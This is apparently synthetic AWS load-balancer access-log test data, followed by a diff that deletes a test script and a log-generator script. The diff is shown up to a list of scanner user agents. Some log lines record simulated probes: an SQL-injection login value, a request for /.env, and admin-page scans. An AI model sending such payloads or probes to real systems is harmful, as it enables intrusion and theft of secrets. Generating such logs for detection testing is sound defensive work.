2024-11-01T02:55:32.294596Z "forward" "-" "-" "10.0.210.148:443" "200" "-" "-" -https 2024-11-01T02:55:32.938508Z prod-web-alb 191.129.7.171:48012 10.0.128.229:443 0.006427 0.360053 0.030564 200 200 720 4415 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0b4-891f070401e047c084e0dedb" "prod-web-alb.example.com" "-" 0 2024-11-01T02:55:32.938508Z "forward" "-" "-" "10.0.128.229:443" "200" "-" "-" -https 2024-11-01T02:55:34.798748Z prod-web-alb 219.146.225.99:54158 10.0.9.177:443 0.095367 0.113277 0.019550 200 200 157 1336 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0b6-45bff5dfe1364c69b9882c82" "prod-web-alb.example.com" "-" 1 2024-11-01T02:55:34.798748Z "forward" "-" "-" "10.0.9.177:443" "200" "-" "-" -https 2024-11-01T02:55:36.655403Z prod-web-alb 253.135.114.32:58034 10.0.6.184:443 0.081839 0.455024 0.003868 200 200 754 11253 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0b8-213bf6e23af8497f87ba2251" "prod-web-alb.example.com" "-" 2 2024-11-01T02:55:36.655403Z "forward" "-" "-" "10.0.6.184:443" "200" "-" "-" -http 2024-11-01T02:55:38.264794Z staging-alb 99.222.238.230:17820 77.52.228.217:80 0.085532 0.154438 0.135401 200 200 510 3918 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e0ba-31f1954954804140b8bd19f5" "staging-alb.example.com" "-" 10 2024-11-01T02:55:38.264794Z "forward" "-" "-" "77.52.228.217:80" "200" "-" "-" -https 2024-11-01T02:55:38.621074Z prod-api-alb 250.107.78.189:18036 10.0.85.253:443 0.073915 0.135819 0.010002 200 200 290 9744 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0ba-4d4115c60a784a7abc0249b2" "prod-api-alb.example.com" "-" 10 2024-11-01T02:55:38.621074Z "forward" "-" "-" "10.0.85.253:443" "200" "-" "-" -https 2024-11-01T02:55:39.924035Z prod-web-alb 227.239.251.80:37860 10.0.159.10:443 0.086812 0.189942 0.087505 200 200 361 10323 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0bb-40b1e94a17404623ba6cbb1d" "prod-web-alb.example.com" "-" 6 2024-11-01T02:55:39.924035Z "forward" "-" "-" "10.0.159.10:443" "200" "-" "-" -https 2024-11-01T02:55:41.306561Z prod-api-alb 34.54.32.108:64026 10.0.248.210:443 0.062889 0.003027 0.002528 200 200 774 3581 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0bd-c7c131e6950646449219be2d" "prod-api-alb.example.com" "-" 1 2024-11-01T02:55:41.306561Z "forward" "-" "-" "10.0.248.210:443" "200" "-" "-" -https 2024-11-01T02:55:42.194750Z prod-web-alb 156.196.207.59:35583 10.0.203.55:443 0.061719 0.077004 0.010095 404 404 303 7471 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0be-df51a72cbbf749688aec2f4a" "prod-web-alb.example.com" "-" 7 2024-11-01T02:55:42.194750Z "forward" "-" "-" "10.0.203.55:443" "404" "-" "-" -https 2024-11-01T02:55:44.146498Z prod-api-alb 67.109.89.30:35384 10.0.81.72:443 0.001584 0.310440 0.007453 200 200 625 1083 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0c0-93e6c12e55654d498dda57f2" "prod-api-alb.example.com" "-" 8 2024-11-01T02:55:44.146498Z "forward" "-" "-" "10.0.81.72:443" "200" "-" "-" -https 2024-11-01T02:55:45.847955Z prod-api-alb 59.154.63.104:18072 10.0.204.125:443 0.092481 0.239635 0.093156 404 404 59 8019 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0c1-6f458992151445789857c922" "prod-api-alb.example.com" "-" 10 2024-11-01T02:55:45.847955Z "forward" "-" "-" "10.0.204.125:443" "404" "-" "-" -https 2024-11-01T02:55:46.642847Z prod-api-alb 190.47.45.51:39937 10.0.27.86:443 0.063818 0.441006 0.018834 301 301 500 5404 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0c2-256e66fd811e467aa9adc2e9" "-" "-" 5 2024-11-01T02:55:46.642847Z "forward" "-" "-" "10.0.27.86:443" "301" "-" "-" -https 2024-11-01T02:55:47.654412Z prod-web-alb 31.67.115.72:24127 10.0.219.117:443 0.024618 0.205878 0.091294 200 200 569 14705 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0c3-cfd19f7f149942358b413b04" "prod-web-alb.example.com" "-" 1 2024-11-01T02:55:47.654412Z "forward" "-" "-" "10.0.219.117:443" "200" "-" "-" -https 2024-11-01T02:55:47.820395Z prod-api-alb 153.64.1.136:26806 10.0.17.51:443 0.014284 0.303725 0.082985 301 301 407 12485 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0c3-2dff1f01621d4061964a20f1" "prod-api-alb.example.com" "-" 10 2024-11-01T02:55:47.820395Z "forward" "-" "-" "10.0.17.51:443" "301" "-" "-" -https 2024-11-01T02:55:49.626377Z prod-api-alb 207.6.224.110:35130 10.0.116.66:443 0.042799 0.181418 0.077580 200 200 309 11589 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0c5-3a7f38cc0429495a9902b785" "prod-api-alb.example.com" "-" 10 2024-11-01T02:55:49.626377Z "forward" "-" "-" "10.0.116.66:443" "200" "-" "-" -https 2024-11-01T02:55:50.037229Z staging-alb 202.152.191.236:25279 85.120.59.183:80 0.120418 0.050784 0.037339 200 200 180 603 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e0c6-616759a38c714fd8ad0c1368" "staging-alb.example.com" "-" 2 2024-11-01T02:55:50.037229Z "forward" "-" "-" "85.120.59.183:80" "200" "-" "-" -https 2024-11-01T02:55:51.231102Z prod-web-alb 162.5.4.29:26071 10.0.46.58:443 0.089779 0.196955 0.093224 200 200 173 5417 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0c7-c82a2849edaf4ebb98f83f08" "prod-web-alb.example.com" "-" 6 2024-11-01T02:55:51.231102Z "forward" "-" "-" "10.0.46.58:443" "200" "-" "-" -http 2024-11-01T02:55:53.049788Z staging-alb 163.115.221.219:39336 229.185.12.106:8080 0.025034 0.523726 0.077519 200 200 255 7728 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e0c9-7d9011ab1b1c4008983a89a0" "staging-alb.example.com" "-" 5 2024-11-01T02:55:53.049788Z "forward" "-" "-" "229.185.12.106:8080" "200" "-" "-" -https 2024-11-01T02:55:53.575382Z prod-web-alb 109.49.74.56:24594 10.0.150.1:443 0.061881 0.092911 0.045793 302 302 20 10764 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0c9-648028eaaed448bebe23009b" "prod-web-alb.example.com" "-" 3 2024-11-01T02:55:53.575382Z "forward" "-" "-" "10.0.150.1:443" "302" "-" "-" -https 2024-11-01T02:55:55.066764Z prod-web-alb 195.28.60.156:50224 10.0.220.156:443 0.062955 0.358208 0.050578 200 200 390 14920 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0cb-27235edfd1974385832b2639" "prod-web-alb.example.com" "-" 4 2024-11-01T02:55:55.066764Z "forward" "-" "-" "10.0.220.156:443" "200" "-" "-" -https 2024-11-01T02:55:56.828358Z prod-api-alb 193.27.228.155:35346 10.0.101.42:443 0.072134 0.269234 0.091768 403 403 171 6375 "GET /server-status HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0cc-c52578e46ead4785b7a02c6a" "-" "-" 4 2024-11-01T02:55:56.828358Z "forward" "-" "-" "10.0.101.42:443" "403" "-" "-" -http 2024-11-01T02:55:57.618082Z staging-alb 228.10.188.177:27181 213.19.89.48:443 0.074114 0.558158 0.026098 302 302 858 3087 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e0cd-b3da1bf7aeac4fb1b6a2ebc4" "staging-alb.example.com" "-" 3 2024-11-01T02:55:57.618082Z "forward" "-" "-" "213.19.89.48:443" "302" "-" "-" -https 2024-11-01T02:55:57.726822Z staging-alb 185.181.58.110:52669 173.75.59.175:80 0.102345 0.206326 0.035016 500 500 67 2767 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e0cd-4672ff13dd8649a98698691c" "-" "-" 8 2024-11-01T02:55:57.726822Z "forward" "-" "-" "173.75.59.175:80" "500" "-" "-" -https 2024-11-01T02:55:58.625085Z prod-api-alb 99.216.94.160:61186 10.0.227.155:443 0.007431 0.061101 0.020165 200 200 42 13000 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0ce-0d09fe9582f349d087645914" "prod-api-alb.example.com" "-" 8 2024-11-01T02:55:58.625085Z "forward" "-" "-" "10.0.227.155:443" "200" "-" "-" -http 2024-11-01T02:56:00.372959Z staging-alb 130.26.62.196:15971 40.117.125.184:443 0.025658 0.319594 0.019473 301 301 76 649 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e0d0-011a857f676141b0b43e348e" "staging-alb.example.com" "-" 0 2024-11-01T02:56:00.372959Z "forward" "-" "-" "40.117.125.184:443" "301" "-" "-" -https 2024-11-01T02:56:00.814225Z prod-api-alb 18.67.141.45:36901 10.0.251.20:443 0.080021 0.205511 0.024214 301 301 65 10497 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0d0-663ad3b30f394186bf4dea47" "prod-api-alb.example.com" "-" 2 2024-11-01T02:56:00.814225Z "forward" "-" "-" "10.0.251.20:443" "301" "-" "-" -https 2024-11-01T02:56:02.462330Z prod-api-alb 79.224.204.48:44754 10.0.115.145:443 0.035262 0.016769 0.037756 200 200 586 8562 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0d2-44f1ab69dd9b4ba1bc010d1c" "prod-api-alb.example.com" "-" 10 2024-11-01T02:56:02.462330Z "forward" "-" "-" "10.0.115.145:443" "200" "-" "-" -https 2024-11-01T02:56:03.150350Z prod-web-alb 16.181.78.131:10655 10.0.96.66:443 0.074213 0.274294 0.060015 404 404 120 13083 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0d3-b3eac5e3c7084d9e9f6064db" "prod-web-alb.example.com" "-" 3 2024-11-01T02:56:03.150350Z "forward" "-" "-" "10.0.96.66:443" "404" "-" "-" -https 2024-11-01T02:56:03.316974Z prod-web-alb 190.121.62.145:14918 10.0.114.206:443 0.054830 0.327522 0.007028 302 302 294 3729 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0d3-f35ca565806944569ad7c64a" "prod-web-alb.example.com" "-" 9 2024-11-01T02:56:03.316974Z "forward" "-" "-" "10.0.114.206:443" "302" "-" "-" -https 2024-11-01T02:56:03.799378Z prod-api-alb 184.121.58.214:55392 10.0.155.89:443 0.013518 0.144536 0.032543 200 200 51 6471 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0d3-5e8ad264d83a45c58be6df60" "prod-api-alb.example.com" "-" 8 2024-11-01T02:56:03.799378Z "forward" "-" "-" "10.0.155.89:443" "200" "-" "-" -https 2024-11-01T02:56:04.424839Z prod-web-alb 31.38.195.93:13968 10.0.241.151:443 0.036442 0.230203 0.016838 404 404 432 10371 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0d4-81013fb248bb4314b35cf436" "prod-web-alb.example.com" "-" 5 2024-11-01T02:56:04.424839Z "forward" "-" "-" "10.0.241.151:443" "404" "-" "-" -https 2024-11-01T02:56:05.029444Z prod-web-alb 49.46.124.12:53803 10.0.26.83:443 0.068876 0.140142 0.076774 302 302 71 7902 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0d5-61db64cf0a0e48e2a9f3cc39" "prod-web-alb.example.com" "-" 9 2024-11-01T02:56:05.029444Z "forward" "-" "-" "10.0.26.83:443" "302" "-" "-" -https 2024-11-01T02:56:05.463864Z prod-web-alb 216.77.208.17:34998 10.0.228.95:443 0.043787 0.013495 0.061109 404 404 542 1413 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0d5-5f0d8de97dcd4315af3cb5b0" "prod-web-alb.example.com" "-" 7 2024-11-01T02:56:05.463864Z "forward" "-" "-" "10.0.228.95:443" "404" "-" "-" -https 2024-11-01T02:56:07.197646Z prod-api-alb 222.60.0.67:25433 10.0.115.32:443 0.031828 0.295039 0.054099 200 200 526 473 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0d7-b9096e24783b4984b6f066c2" "-" "-" 8 2024-11-01T02:56:07.197646Z "forward" "-" "-" "10.0.115.32:443" "200" "-" "-" -https 2024-11-01T02:56:08.936732Z prod-api-alb 8.13.156.223:39128 10.0.250.231:443 0.006034 0.217198 0.094803 404 404 578 6288 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0d8-2fe9407a23b542d0a12a9e64" "prod-api-alb.example.com" "-" 1 2024-11-01T02:56:08.936732Z "forward" "-" "-" "10.0.250.231:443" "404" "-" "-" -https 2024-11-01T02:56:10.017821Z prod-web-alb 239.202.246.186:54833 10.0.41.227:443 0.093354 0.037302 0.036082 200 200 961 12276 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0da-a7725470cf3a4b5ca064b987" "prod-web-alb.example.com" "-" 5 2024-11-01T02:56:10.017821Z "forward" "-" "-" "10.0.41.227:443" "200" "-" "-" -https 2024-11-01T02:56:10.536043Z prod-web-alb 45.155.205.189:58417 10.0.32.161:443 0.074310 0.389855 0.026541 401 401 531 10002 "GET /administrator HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0da-dcbe48e19dbc414ea2c99bb6" "-" "-" 1 2024-11-01T02:56:10.536043Z "forward" "-" "-" "10.0.32.161:443" "401" "-" "-" -https 2024-11-01T02:56:11.594767Z prod-web-alb 14.143.220.225:20844 10.0.169.154:443 0.002099 0.382394 0.043540 404 404 377 9048 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e0db-b1563c1baf68479a8ae3cda9" "prod-web-alb.example.com" "-" 8 2024-11-01T02:56:11.594767Z "forward" "-" "-" "10.0.169.154:443" "404" "-" "-" -https 2024-11-01T02:56:13.101713Z staging-alb 185.181.47.127:34734 131.110.141.240:8080 0.143311 0.541892 0.140332 302 302 500 692 "POST /.env HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e0dd-55dbf86c9c2741bfbadc44f6" "-" "-" 3 2024-11-01T02:56:13.101713Z "forward" "-" "-" "131.110.141.240:8080" "302" "-" "-" -https 2024-11-01T02:56:13.353389Z prod-api-alb 143.52.235.49:35102 10.0.81.56:443 0.030906 0.150607 0.011982 200 200 521 9848 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0dd-e5e2310b0f3b449992b91c63" "prod-api-alb.example.com" "-" 9 2024-11-01T02:56:13.353389Z "forward" "-" "-" "10.0.81.56:443" "200" "-" "-" -https 2024-11-01T02:56:14.787080Z prod-api-alb 132.81.228.232:55654 10.0.53.173:443 0.050066 0.494702 0.093263 200 200 849 6709 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0de-ba258ae4482b4b8880d5ba77" "prod-api-alb.example.com" "-" 6 2024-11-01T02:56:14.787080Z "forward" "-" "-" "10.0.53.173:443" "200" "-" "-" -https 2024-11-01T02:56:15.394180Z prod-api-alb 15.13.118.200:55525 10.0.85.223:443 0.086849 0.296612 0.073630 200 200 326 7192 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e0df-cf07876be3204a2387818845" "prod-api-alb.example.com" "-" 5 2024-11-01T02:56:15.394180Z "forward" "-" "-" "10.0.85.223:443" "200" "-" "-" -https 2024-11-01T02:56:17.272371Z prod-web-alb 89.37.21.227:12596 10.0.232.165:443 0.011985 0.221200 0.050972 200 200 374 13660 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e0e1-10d51d60d03448d7a64b5b86" "prod-web-alb.example.com" "-" 6 2024-11-01T02:56:17.272371Z "forward" "-" "-" "10.0.232.165:443" "200" "-" "-" -https 2024-11-01T02:56:18.697552Z prod-api-alb 67.23.223.18:33025 10.0.130.209:443 0.047627 0.066677 0.051965 302 302 821 7289 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e0e2-7ad05a94782444df86134c84" "prod-api-alb.example.com" "-" 8 2024-11-01T02:56:18.697552Z "forward" "-" "-" "10.0.130.209:443" "302" "-" "-" diff --git a/tests/alb.sh b/tests/alb.sh deleted file mode 100644 index 7ad78da6..00000000 --- a/tests/alb.sh +++ /dev/null @@ -1 +0,0 @@ - TAILPIPE_LOG_LEVEL=debug ./tailpipe collect aws_alb_access_log.alb_test diff --git a/tests/alb_generate.py b/tests/alb_generate.py deleted file mode 100644 index 1140115d..00000000 --- a/tests/alb_generate.py +++ /dev/null @@ -1,268 +0,0 @@ -import random -from datetime import datetime, timedelta -import ipaddress -import uuid - -def generate_alb_logs(num_lines=10000, start_date=datetime(2024, 11, 1)): - # Define fixed ALB names for better analysis - alb_names = [ - "prod-web-alb", - "prod-api-alb", - "staging-alb" - ] - - # Target groups associated with specific ALBs - target_groups = { - "prod-web-alb": [ - "arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8", - "arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7" - ], - "prod-api-alb": [ - "arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1", - "arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2" - ], - "staging-alb": [ - "arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a", - "arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f" - ] - } - - # Normal URLs mapped to specific ALBs - urls = { - "prod-web-alb": [ - '/assets/main.css', - '/images/logo.png', - '/cart', - '/checkout', - '/products' - ], - "prod-api-alb": [ - '/api/v1/products', - '/api/v1/orders', - '/api/v2/users', - '/api/health' - ], - "staging-alb": [ - '/api/v1/products', - '/web/test', - '/staging/health' - ] - } - - # Common legitimate user agents - user_agents = [ - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', - 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1', - 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0', - 'Python-urllib/3.8', - 'Apache-HttpClient/4.5.13 (Java/11.0.19)', - 'curl/7.64.1' - ] - - # Scanner/malicious user agents - scanner_agents = [ - 'sqlmap/1.6.12 (http://sqlmap.org)', - 'Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)', - 'Nmap Scripting Engine (https://nmap.org/book/nse.html)', - 'masscan/1.3.2', - 'nikto/2.1.6', - 'Acunetix-Agent', - 'dirbuster/1.0-RC1', - 'subfinder/v2.5.5', - 